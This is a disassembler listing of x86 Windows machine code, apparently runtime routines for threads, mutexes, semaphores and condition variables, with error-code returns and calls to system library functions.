loc_42F3D5 test edi, edi jz short loc_42F354 push ebx mov [esi+0Ch], ebp mov dword ptr [esi+30h], 1 call sub_4010C3 push 2 call sub_401DD4 ; --------------------------------------------------------------------------- mov eax, [esp+18h] add esp, 8 pop edi pop ebp pop ebx pop esi add esp, 2D0h retn ; --------------------------------------------------------------------------- loc_42F354: ; CODE XREF: ___:0042F329j mov edi, [esi+4] push edi nop call near ptr 2760944h push 0 push edi nop call near ptr 277044Ch cmp eax, 102h jnz short loc_42F3E2 lea eax, [esp+14h] mov [esi+0Ch], ebp push eax push edi mov dword ptr [esi+30h], 1 mov dword ptr [esp+1Ch], 10001h nop call near ptr 2760B3Eh lea ecx, [esp+14h] mov dword ptr [esp+0CCh], offset loc_42F460 push ecx push edi nop call near ptr 2760CDEh push ebx call sub_4010C3 add esp, 4 push edi call near ptr 2770000h nop mov eax, [esp+10h] pop edi pop ebp pop ebx pop esi add esp, 2D0h retn ; --------------------------------------------------------------------------- loc_42F3C2: ; CODE XREF: ___:0042F30Dj ; ___:0042F318j cmp [esi+0Ch], ebp jge short loc_42F3D5 mov edx, [esi+38h] push edx nop call near ptr 27702B4h test eax, eax jnz short loc_42F3D9 loc_42F3D5: ; CODE XREF: ___:0042F321j ; ___:0042F3C5j mov [esp+10h], ebp loc_42F3D9: ; CODE XREF: ___:0042F3D3j push ebx call sub_4010C3 add esp, 4 loc_42F3E2: ; CODE XREF: ___:0042F36Cj mov eax, [esp+10h] pop edi pop ebp pop ebx loc_42F3E9: ; CODE XREF: ___:0042F2CFj pop esi add esp, 2D0h retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 60h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F460: ; DATA XREF: ___:0042F390o push 2 call sub_401DD4 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42F480 proc near ; CODE XREF: sub_401122j mov eax, dword_50E3EC push esi push eax call sub_401190 sub_42F480 endp ; --------------------------------------------------------------------------- mov esi, eax add esp, 4 test esi, esi jz short loc_42F4BE mov eax, [esp+8] test eax, eax jz short loc_42F4AC mov eax, [esi] test eax, eax jz short loc_42F4AC mov ecx, [esi+4] push ecx call eax add esp, 4 loc_42F4AC: ; CODE XREF: ___:0042F49Bj ; ___:0042F4A1j mov edx, [esi+8] mov eax, dword_50E3EC push edx push eax call sub_4020DB ; --------------------------------------------------------------------------- add esp, 8 loc_42F4BE: ; CODE XREF: ___:0042F493j mov eax, esi pop esi retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42F4F0 proc near ; CODE XREF: sub_401659j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] mov ecx, [esp+arg_8] push esi mov esi, [esp+4+arg_0] mov [esi], eax mov [esi+4], ecx mov edx, dword_50E3EC push edx call sub_401190 sub_42F4F0 endp ; --------------------------------------------------------------------------- mov [esi+8], eax mov eax, dword_50E3EC push esi push eax call sub_4020DB ; --------------------------------------------------------------------------- add esp, 0Ch pop esi retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42F540 proc near ; CODE XREF: sub_401B4Fj arg_0 = dword ptr 4 push esi push offset dword_50E940 xor esi, esi nop call near ptr 7C901005h mov ecx, [esp+4+arg_0] mov eax, [ecx] cmp eax, 0FFFFFFFFh jnz short loc_42F574 push esi push ecx call sub_401541 add esp, 8 mov esi, eax push offset dword_50E940 nop call near ptr 7C9010EDh mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_42F574: ; CODE XREF: sub_42F540+17j test eax, eax jnz short loc_42F57D mov esi, 16h loc_42F57D: ; CODE XREF: sub_42F540+36j push offset dword_50E940 nop call near ptr 7C9010EDh mov eax, esi pop esi retn sub_42F540 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F5B0: ; CODE XREF: ___:004020FEj push esi push 4 push 1 xor esi, esi call near ptr 77C2C0C3h nop add esp, 8 test eax, eax jnz short loc_42F5D3 mov edx, [esp+8] mov ecx, 0Ch pop esi mov [edx], eax mov eax, ecx retn ; --------------------------------------------------------------------------- loc_42F5D3: ; CODE XREF: ___:0042F5C2j mov ecx, [esp+8] mov [ecx], eax mov eax, esi pop esi retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F5F0: ; CODE XREF: ___:004021D0j push esi mov esi, [esp+8] test esi, esi jz short loc_42F613 mov eax, [esi] test eax, eax jz short loc_42F613 push eax nop call near ptr 77C2C21Bh add esp, 4 mov dword ptr [esi], 0 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_42F613: ; CODE XREF: ___:0042F5F7j ; ___:0042F5FDj mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F630: ; CODE XREF: ___:00401005j mov eax, [esp+4] test eax, eax jz short loc_42F64D mov eax, [eax] test eax, eax jz short loc_42F64D mov ecx, [esp+8] test ecx, ecx jz short loc_42F64D mov eax, [eax] mov [ecx], eax xor eax, eax retn ; --------------------------------------------------------------------------- loc_42F64D: ; CODE XREF: ___:0042F636j ; ___:0042F63Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F670: ; CODE XREF: ___:004012ADj mov eax, [esp+4] test eax, eax jz short loc_42F69A mov ecx, [eax] test ecx, ecx jz short loc_42F69A mov eax, [esp+8] cmp eax, 1 jz short loc_42F68E test eax, eax jnz short loc_42F69A mov [ecx], eax retn ; --------------------------------------------------------------------------- loc_42F68E: ; CODE XREF: ___:0042F685j mov eax, 28h mov dword ptr [ecx], 0 retn ; --------------------------------------------------------------------------- loc_42F69A: ; CODE XREF: ___:0042F676j ; ___:0042F67Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42F6B0 proc near ; CODE XREF: sub_401541j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi push edi xor edi, edi xor esi, esi cmp eax, edi jnz short loc_42F6C6 pop edi mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_42F6C6: ; CODE XREF: sub_42F6B0+Cj mov eax, [esp+8+arg_4] push ebx cmp eax, edi push ebp jz short loc_42F6ED mov eax, [eax] cmp eax, edi jz short loc_42F6ED cmp dword ptr [eax], 1 jnz short loc_42F6ED mov edx, [esp+10h+arg_0] mov edi, 28h pop ebp mov eax, edi pop ebx mov [edx], esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42F6ED: ; CODE XREF: sub_42F6B0+1Ej ; sub_42F6B0+24j ... push 20h push 1 nop call near ptr 77C2C0C3h mov esi, eax add esp, 8 cmp esi, edi jnz short loc_42F712 mov edx, [esp+10h+arg_0] mov edi, 0Ch pop ebp mov eax, edi pop ebx mov [edx], esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42F712: ; CODE XREF: sub_42F6B0+4Ej lea ebp, [esi+10h] push 1 push edi push ebp mov [esi], edi mov [esi+8], edi mov [esi+4], edi call sub_401C76 add esp, 0Ch test eax, eax jz short loc_42F737 nop call near ptr 77C1F2BCh mov edi, [eax] jmp short loc_42F77B ; --------------------------------------------------------------------------- loc_42F737: ; CODE XREF: sub_42F6B0+7Bj lea ebx, [esi+0Ch] push 0 push 0 push ebx call sub_401C76 add esp, 0Ch test eax, eax jz short loc_42F755 nop call near ptr 77C1F2BCh mov edi, [eax] jmp short loc_42F772 ; --------------------------------------------------------------------------- loc_42F755: ; CODE XREF: sub_42F6B0+99j lea eax, [esi+14h] push 0 push eax call sub_402199 mov edi, eax add esp, 8 test edi, edi jz short loc_42F7DF push ebx call sub_401686 add esp, 4 loc_42F772: ; CODE XREF: sub_42F6B0+A3j push ebp call sub_401686 add esp, 4 loc_42F77B: ; CODE XREF: sub_42F6B0+85j push esi nop call near ptr 77C2C21Bh add esp, 4 xor esi, esi test edi, edi jnz short loc_42F7D2 loc_42F78B: ; CODE XREF: sub_42F6B0+131j push offset dword_50E9C0 nop call near ptr 7C901005h mov dword ptr [esi+18h], 0 mov ecx, dword_50E3F4 mov [esi+1Ch], ecx mov eax, dword_50E3F4 test eax, eax jz short loc_42F7B2 mov [eax+18h], esi loc_42F7B2: ; CODE XREF: sub_42F6B0+FDj mov eax, dword_50E3F0 mov dword_50E3F4, esi test eax, eax jnz short loc_42F7C7 mov dword_50E3F0, esi loc_42F7C7: ; CODE XREF: sub_42F6B0+10Fj push offset dword_50E9C0 nop call near ptr 7C9010EDh loc_42F7D2: ; CODE XREF: sub_42F6B0+D9j mov edx, [esp+10h+arg_0] pop ebp mov eax, edi pop ebx mov [edx], esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42F7DF: ; CODE XREF: sub_42F6B0+B7j xor edi, edi jmp short loc_42F78B sub_42F6B0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42F840 proc near ; CODE XREF: sub_401A91j var_4 = dword ptr -4 arg_0 = dword ptr 4 push ecx push ebx push ebp push esi push edi mov edi, [esp+14h+arg_0] xor esi, esi xor ebp, ebp xor ebx, ebx test edi, edi mov [esp+14h+var_4], ebp jz loc_42F9EC mov eax, [edi] test eax, eax jz loc_42F9EC cmp eax, 0FFFFFFFFh jz loc_42F9A3 push offset dword_50E9C0 nop call near ptr 7C901005h mov esi, [edi] lea ebx, [esi+10h] push ebx call sub_401041 add esp, 4 test eax, eax jz short loc_42F899 call near ptr 77C1F2BCh nop mov eax, [eax] pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42F899: ; CODE XREF: sub_42F840+49j lea ebp, [esi+14h] push ebp call sub_40177B add esp, 4 mov [esp+14h+arg_0], eax test eax, eax jz short loc_42F8C0 push ebx call sub_40103C mov eax, [esp+18h+arg_0] add esp, 4 pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42F8C0: ; CODE XREF: sub_42F840+6Bj mov eax, [esi] mov ecx, [esi+4] cmp eax, ecx jle short loc_42F8F9 push ebx call sub_40103C add esp, 4 test eax, eax jz short loc_42F8E2 nop call near ptr 77C1F2BCh mov ecx, [eax] mov [esp+14h+arg_0], ecx loc_42F8E2: ; CODE XREF: sub_42F840+94j push ebp call sub_4010C3 add esp, 4 mov [esp+14h+var_4], eax mov ebx, 10h jmp loc_42F98E ; --------------------------------------------------------------------------- loc_42F8F9: ; CODE XREF: sub_42F840+87j push ebx mov dword ptr [edi], 0 call sub_401686 mov edi, dword_50FA64 add esp, 4 test eax, eax jz short loc_42F91A call edi ; _errno mov edx, [eax] mov [esp+14h+arg_0], edx loc_42F91A: ; CODE XREF: sub_42F840+D0j lea eax, [esi+0Ch] push eax call sub_401686 add esp, 4 test eax, eax jz short loc_42F932 call edi ; _errno mov ecx, [eax] mov [esp+14h+var_4], ecx loc_42F932: ; CODE XREF: sub_42F840+E8j push ebp call sub_4010C3 mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_42F94C push ebp call sub_40222F add esp, 4 mov ebx, eax loc_42F94C: ; CODE XREF: sub_42F840+FFj cmp dword_50E3F0, esi jnz short loc_42F95F mov edx, [esi+18h] mov dword_50E3F0, edx jmp short loc_42F968 ; --------------------------------------------------------------------------- loc_42F95F: ; CODE XREF: sub_42F840+112j mov eax, [esi+1Ch] mov ecx, [esi+18h] mov [eax+18h], ecx loc_42F968: ; CODE XREF: sub_42F840+11Dj cmp dword_50E3F4, esi jnz short loc_42F97B mov edx, [esi+1Ch] mov dword_50E3F4, edx jmp short loc_42F984 ; --------------------------------------------------------------------------- loc_42F97B: ; CODE XREF: sub_42F840+12Ej mov eax, [esi+18h] mov ecx, [esi+1Ch] mov [eax+1Ch], ecx loc_42F984: ; CODE XREF: sub_42F840+139j push esi nop call near ptr 77C2C21Bh add esp, 4 loc_42F98E: ; CODE XREF: sub_42F840+B4j push offset dword_50E9C0 nop call near ptr 7C9010EDh mov esi, [esp+14h+arg_0] mov ebp, [esp+14h+var_4] jmp short loc_42F9D2 ; --------------------------------------------------------------------------- loc_42F9A3: ; CODE XREF: sub_42F840+28j push offset dword_50E940 call near ptr 7C901005h nop cmp dword ptr [edi], 0FFFFFFFFh jnz short loc_42F9BB mov dword ptr [edi], 0 jmp short loc_42F9C7 ; --------------------------------------------------------------------------- loc_42F9BB: ; CODE XREF: sub_42F840+171j mov [esp+14h+arg_0], 10h mov esi, [esp+14h+arg_0] loc_42F9C7: ; CODE XREF: sub_42F840+179j push offset dword_50E940 call near ptr 7C9010EDh nop loc_42F9D2: ; CODE XREF: sub_42F840+161j test esi, esi jz short loc_42F9DE mov eax, esi pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42F9DE: ; CODE XREF: sub_42F840+194j test ebp, ebp mov eax, ebp jnz short loc_42F9F1 pop edi pop esi mov eax, ebx pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42F9EC: ; CODE XREF: sub_42F840+15j ; sub_42F840+1Fj mov eax, 16h loc_42F9F1: ; CODE XREF: sub_42F840+1A2j pop edi pop esi pop ebp pop ebx pop ecx retn sub_42F840 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42FA70 proc near ; CODE XREF: sub_401203j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push 0 push eax push ecx call sub_42FAA0 add esp, 0Ch retn sub_42FA70 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42FAA0 proc near ; CODE XREF: sub_42FA70+Cp ; sub_42FD70+19p var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 20h push esi mov esi, [esp+24h+arg_0] test esi, esi push edi mov [esp+28h+var_20], 0 jz loc_42FBA9 mov eax, [esi] test eax, eax jz loc_42FBA9 cmp eax, 0FFFFFFFFh jnz short loc_42FAE2 push esi call sub_401B4F add esp, 4 mov [esp+28h+var_20], eax test eax, eax jz short loc_42FAE2 cmp eax, 10h jnz loc_42FBAE loc_42FAE2: ; CODE XREF: sub_42FAA0+26j ; sub_42FAA0+37j mov esi, [esi] lea edi, [esi+10h] push edi call sub_401041 add esp, 4 test eax, eax jz short loc_42FB02 nop call near ptr 77C1F2BCh mov eax, [eax] pop edi pop esi add esp, 20h retn ; --------------------------------------------------------------------------- loc_42FB02: ; CODE XREF: sub_42FAA0+52j mov ecx, [esi] push edi inc ecx mov [esi], ecx call sub_40103C add esp, 4 test eax, eax jz short loc_42FB22 nop call near ptr 77C1F2BCh mov eax, [eax] pop edi pop esi add esp, 20h retn ; --------------------------------------------------------------------------- loc_42FB22: ; CODE XREF: sub_42FAA0+72j mov edi, [esp+28h+arg_4] lea ecx, [esp+28h+var_10] push ecx lea edx, [esp+2Ch+var_1C] lea eax, [esp+2Ch+var_20] push offset loc_42FC10 push edx mov [esp+34h+var_10], edi mov [esp+34h+var_C], esi mov [esp+34h+var_8], eax mov [esp+34h+var_4], 0 call sub_401659 ; --------------------------------------------------------------------------- dw 0E857h dd 0FFFD156Bh, 8910C483h, 85082444h, 8B2775C0h, 83342444h dd 56500CC6h, 0FD1D27E8h, 8C483FFh, 0E74C085h, 0F73EE890h dd 8B777Eh, 8244489h, 448B04EBh, 0C9330824h, 0C085016Ah dd 89C1940Fh, 0E828244Ch, 0FFFD1586h, 0C24448Bh, 5F04C483h dd 20C4835Eh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_42FBA9: ; CODE XREF: sub_42FAA0+13j ; sub_42FAA0+1Dj mov eax, 16h loc_42FBAE: ; CODE XREF: sub_42FAA0+3Cj pop edi pop esi add esp, 20h retn sub_42FAA0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FC10: ; DATA XREF: sub_42FAA0+93o push ecx push ebx push ebp mov ebp, [esp+10h] push esi push edi mov esi, [ebp+4] mov ebx, [ebp+8] mov [esp+18h], ebx lea edi, [esi+14h] push edi call sub_402225 add esp, 4 test eax, eax jz short loc_42FC3B pop edi pop esi mov [ebx], eax pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42FC3B: ; CODE XREF: ___:0042FC31j mov ebx, [esi+8] test ebx, ebx mov [esp+10h], ebx jz short loc_42FC4E lea eax, [ebx-1] mov [esi+8], eax jmp short loc_42FCB7 ; --------------------------------------------------------------------------- loc_42FC4E: ; CODE XREF: ___:0042FC44j mov ecx, [esi+4] inc ecx mov eax, ecx mov [esi+4], ecx cmp eax, 3FFFFFFFh jnz short loc_42FCB7 lea ebx, [esi+10h] push ebx call sub_401041 add esp, 4 test eax, eax jz short loc_42FC82 call near ptr 77C1F2BCh nop mov edx, [esp+18h] mov ecx, [eax] pop edi pop esi pop ebp mov [edx], ecx pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42FC82: ; CODE XREF: ___:0042FC6Cj mov eax, [esi+4] mov ecx, [esi] sub ecx, eax push ebx mov [esi], ecx call sub_40103C add esp, 4 test eax, eax jz short loc_42FCAC call near ptr 77C1F2BCh nop mov edx, [esp+18h] mov ecx, [eax] pop edi pop esi pop ebp mov [edx], ecx pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42FCAC: ; CODE XREF: ___:0042FC96j mov ebx, [esp+10h] mov dword ptr [esi+4], 0 loc_42FCB7: ; CODE XREF: ___:0042FC4Cj ; ___:0042FC5Cj push edi call sub_4010C3 add esp, 4 test eax, eax jz short loc_42FCD0 mov ecx, [esp+18h] pop edi pop esi pop ebp mov [ecx], eax pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42FCD0: ; CODE XREF: ___:0042FCC2j cmp ebx, 1 jnz short loc_42FCF9 add esi, 10h push esi call sub_40103C add esp, 4 test eax, eax jz short loc_42FCF9 nop call near ptr 77C1F2BCh mov edx, [eax] mov eax, [esp+18h] pop edi pop esi pop ebp mov [eax], edx pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42FCF9: ; CODE XREF: ___:0042FCD3j ; ___:0042FCE3j mov ecx, [ebp+0] push ecx call sub_402225 add esp, 4 test eax, eax jz short loc_42FD0F mov edx, [esp+18h] mov [edx], eax loc_42FD0F: ; CODE XREF: ___:0042FD07j pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42FD70 proc near ; CODE XREF: sub_4011E0j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] test eax, eax jnz short loc_42FD7E mov eax, 16h retn ; --------------------------------------------------------------------------- loc_42FD7E: ; CODE XREF: sub_42FD70+6j mov ecx, [esp+arg_0] push eax mov eax, [esp+4+arg_4] push eax push ecx call sub_42FAA0 add esp, 0Ch retn sub_42FD70 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42FDB0 proc near ; CODE XREF: sub_401E51j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_42FDD0 add esp, 8 retn sub_42FDB0 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42FDD0 proc near ; CODE XREF: sub_42FDB0+7p ; sub_42FF30+7p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push ebx push esi push edi test eax, eax jz loc_42FED4 mov esi, [eax] test esi, esi jz loc_42FED4 cmp esi, 0FFFFFFFFh jnz short loc_42FDF4 pop edi pop esi xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_42FDF4: ; CODE XREF: sub_42FDD0+1Cj lea ebx, [esi+14h] push ebx call sub_402225 add esp, 4 test eax, eax jnz loc_42FED9 mov ecx, [esi+8] mov eax, [esi] test ecx, ecx jz short loc_42FE44 test eax, eax jnz short loc_42FE22 loc_42FE15: ; CODE XREF: sub_42FDD0+77j push ebx call sub_4010C3 add esp, 4 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_42FE22: ; CODE XREF: sub_42FDD0+43j mov edx, [esp+0Ch+arg_4] test edx, edx jz short loc_42FE39 mov edi, eax mov dword ptr [esi], 0 add ecx, edi mov [esi+8], ecx jmp short loc_42FEA6 ; --------------------------------------------------------------------------- loc_42FE39: ; CODE XREF: sub_42FDD0+58j inc ecx mov edi, 1 mov [esi+8], ecx jmp short loc_42FEA3 ; --------------------------------------------------------------------------- loc_42FE44: ; CODE XREF: sub_42FDD0+3Fj cmp eax, [esi+4] jle short loc_42FE15 lea ecx, [esi+10h] push ecx call sub_401041 add esp, 4 test eax, eax jz short loc_42FE70 nop call near ptr 77C1F2BCh mov esi, [eax] push ebx call sub_4010C3 add esp, 4 mov eax, esi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_42FE70: ; CODE XREF: sub_42FDD0+87j mov eax, [esi+4] test eax, eax jz short loc_42FE84 mov ecx, [esi] mov dword ptr [esi+4], 0 sub ecx, eax mov [esi], ecx loc_42FE84: ; CODE XREF: sub_42FDD0+A5j mov eax, [esp+0Ch+arg_4] test eax, eax jz short loc_42FE99 mov edi, [esi] mov dword ptr [esi], 0 mov [esi+8], edi jmp short loc_42FEA6 ; --------------------------------------------------------------------------- loc_42FE99: ; CODE XREF: sub_42FDD0+BAj mov eax, [esi] mov edi, 1 mov [esi+8], edi loc_42FEA3: ; CODE XREF: sub_42FDD0+72j dec eax mov [esi], eax loc_42FEA6: ; CODE XREF: sub_42FDD0+67j ; sub_42FDD0+C7j push ebx call sub_4010C3 mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_42FECE add esi, 0Ch push edi push esi call sub_40204A add esp, 8 test eax, eax jz short loc_42FECE nop call near ptr 77C1F2BCh mov ebx, [eax] loc_42FECE: ; CODE XREF: sub_42FDD0+E3j ; sub_42FDD0+F4j pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_42FED4: ; CODE XREF: sub_42FDD0+9j ; sub_42FDD0+13j mov eax, 16h loc_42FED9: ; CODE XREF: sub_42FDD0+32j pop edi pop esi pop ebx retn sub_42FDD0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42FF30 proc near ; CODE XREF: sub_401604j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_42FDD0 add esp, 8 retn sub_42FF30 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42FF50 proc near ; CODE XREF: sub_40123Aj var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ecx push ebx push esi push edi mov edi, 0Bh xor ebx, ebx call sub_401B13 mov esi, eax test esi, esi jz loc_430026 mov eax, [esi+28h] push 0Ch mov [esp+14h+var_4], eax nop call near ptr 77C2C407h mov ebx, eax add esp, 4 test ebx, ebx jz loc_430026 mov ecx, [esp+10h+arg_8] mov edx, [esp+10h+arg_C] push ebp mov ebp, [esp+14h+arg_4] test ebp, ebp mov [ebx], esi mov [ebx+4], ecx mov [ebx+8], edx jz short loc_42FFCE mov eax, [ebp+0] test eax, eax jz short loc_42FFCE mov edi, [eax+8] mov eax, [eax+0Ch] mov [esi+20h], eax mov eax, [ebp+0] mov ecx, [eax+10h] mov [esp+14h+var_4], ecx mov ecx, [eax+14h] test ecx, ecx jnz short loc_42FFD0 call sub_4012E4 ; --------------------------------------------------------------------------- mov edx, [eax+28h] mov [esp+14h+var_4], edx jmp short loc_42FFD0 ; --------------------------------------------------------------------------- loc_42FFCE: ; CODE XREF: sub_42FF50+4Dj ; sub_42FF50+54j xor edi, edi loc_42FFD0: ; CODE XREF: sub_42FF50+6Ej ; sub_42FF50+7Cj push esi push 4 push ebx xor eax, eax push offset loc_401B95 push edi push eax mov [esi+0Ch], eax mov [esi+80h], eax nop call near ptr 77C3A3DBh mov edi, eax add esp, 18h test edi, edi mov [esi+4], edi jz short loc_430019 test ebp, ebp jz short loc_430012 cmp dword ptr [ebp+0], 0 jz short loc_430012 mov eax, [esp+14h+var_4] push eax push 0 push esi call sub_4020B3 add esp, 0Ch loc_430012: ; CODE XREF: sub_42FF50+AAj ; sub_42FF50+B0j push edi nop call near ptr 2770000h loc_430019: ; CODE XREF: sub_42FF50+A6j neg edi sbb edi, edi pop ebp and edi, 0FFFFFFF5h add edi, 0Bh jz short loc_430059 loc_430026: ; CODE XREF: sub_42FF50+14j ; sub_42FF50+30j push esi call sub_4017AD add esp, 4 xor esi, esi test ebx, ebx jz short loc_43004C push ebx nop call near ptr 77C2C21Bh mov ecx, [esp+14h+arg_0] add esp, 4 mov eax, edi mov [ecx], esi pop edi pop esi pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_43004C: ; CODE XREF: sub_42FF50+E3j mov edx, [esp+10h+arg_0] mov eax, edi pop edi mov [edx], esi pop esi pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_430059: ; CODE XREF: sub_42FF50+D4j mov eax, [esp+10h+arg_0] mov [eax], esi mov eax, edi pop edi pop esi pop ebx pop ecx retn sub_42FF50 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_4300C0: ; CODE XREF: ___:00401343j mov ecx, [esp+8] mov eax, 1 cmp ecx, 3 ; switch 4 cases ja short locret_4300F7 ; default jmp off_4300FC[ecx*4] ; switch jump loc_4300D5: ; DATA XREF: ___:off_4300FCo call sub_401708 ; jumptable 004300CE case 1 retn 0Ch ; --------------------------------------------------------------------------- loc_4300DD: ; CODE XREF: ___:004300CEj ; DATA XREF: ___:off_4300FCo call sub_4017B2 ; jumptable 004300CE case 2 retn 0Ch ; --------------------------------------------------------------------------- loc_4300E5: ; CODE XREF: ___:004300CEj ; DATA XREF: ___:off_4300FCo call sub_4017C1 ; jumptable 004300CE case 3 retn 0Ch ; --------------------------------------------------------------------------- loc_4300ED: ; CODE XREF: ___:004300CEj ; DATA XREF: ___:off_4300FCo call sub_4017C1 ; jumptable 004300CE case 0 call sub_40161D locret_4300F7: ; CODE XREF: ___:004300CCj retn 0Ch ; default ; --------------------------------------------------------------------------- align 4 off_4300FC dd offset loc_4300ED ; DATA XREF: ___:004300CEr dd offset loc_4300D5 ; jump table for switch statement dd offset loc_4300DD dd offset loc_4300E5 db 4 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_430130: ; CODE XREF: ___:004017B7j mov eax, dword_50E3E8 push esi push edi push eax call sub_401190 ; --------------------------------------------------------------------------- db 8Bh, 7Ch, 24h dd 83F08B10h, 0F68504C4h, 0E8570A75h, 7780A1B7h, 4C48390h dd 7E89016Ah, 1C76E814h, 0C483FFFDh, 0C35E5F04h, 3 dup(90909090h) dd 4 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_430180 proc near ; CODE XREF: sub_401758j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push offset dword_50E900 xor esi, esi nop call near ptr 7C901005h mov eax, [esp+4+arg_0] test eax, eax jz short loc_4301AB mov eax, [eax+4] test eax, eax jz short loc_4301AB push eax nop call near ptr 2760611h cmp eax, 7FFFFFFFh jnz short loc_4301B0 loc_4301AB: ; CODE XREF: sub_430180+14j ; sub_430180+1Bj mov esi, 3 loc_4301B0: ; CODE XREF: sub_430180+29j push offset dword_50E900 nop call near ptr 7C9010EDh test esi, esi jnz short loc_4301CC mov eax, [esp+4+arg_4] test eax, eax mov eax, 16h jnz short loc_4301CE loc_4301CC: ; CODE XREF: sub_430180+3Dj mov eax, esi loc_4301CE: ; CODE XREF: sub_430180+4Aj pop esi retn sub_430180 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4301F0: ; CODE XREF: ___:0040164Aj push ebx push esi mov esi, [esp+0Ch] push edi test esi, esi jz short loc_430241 mov edi, [esp+14h] test edi, edi jz short loc_430241 mov eax, [esi] xor ebx, ebx test eax, eax jnz short loc_430221 lea eax, [esi+4] push eax nop call near ptr 2760595h test eax, eax jnz short loc_430227 call edi ; _errno mov dword ptr [esi], 1 loc_430221: ; CODE XREF: ___:00430209j ; ___:0043022Aj pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_430227: ; CODE XREF: ___:00430217j cmp dword ptr [esi], 0 jnz short loc_430221 mov edi, dword_50F8D0 loc_430232: ; CODE XREF: ___:00430239j push 0 call edi cmp dword ptr [esi], 0 jz short loc_430232 pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_430241: ; CODE XREF: ___:004301F9j ; ___:00430201j pop edi pop esi mov eax, 16h pop ebx retn ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; 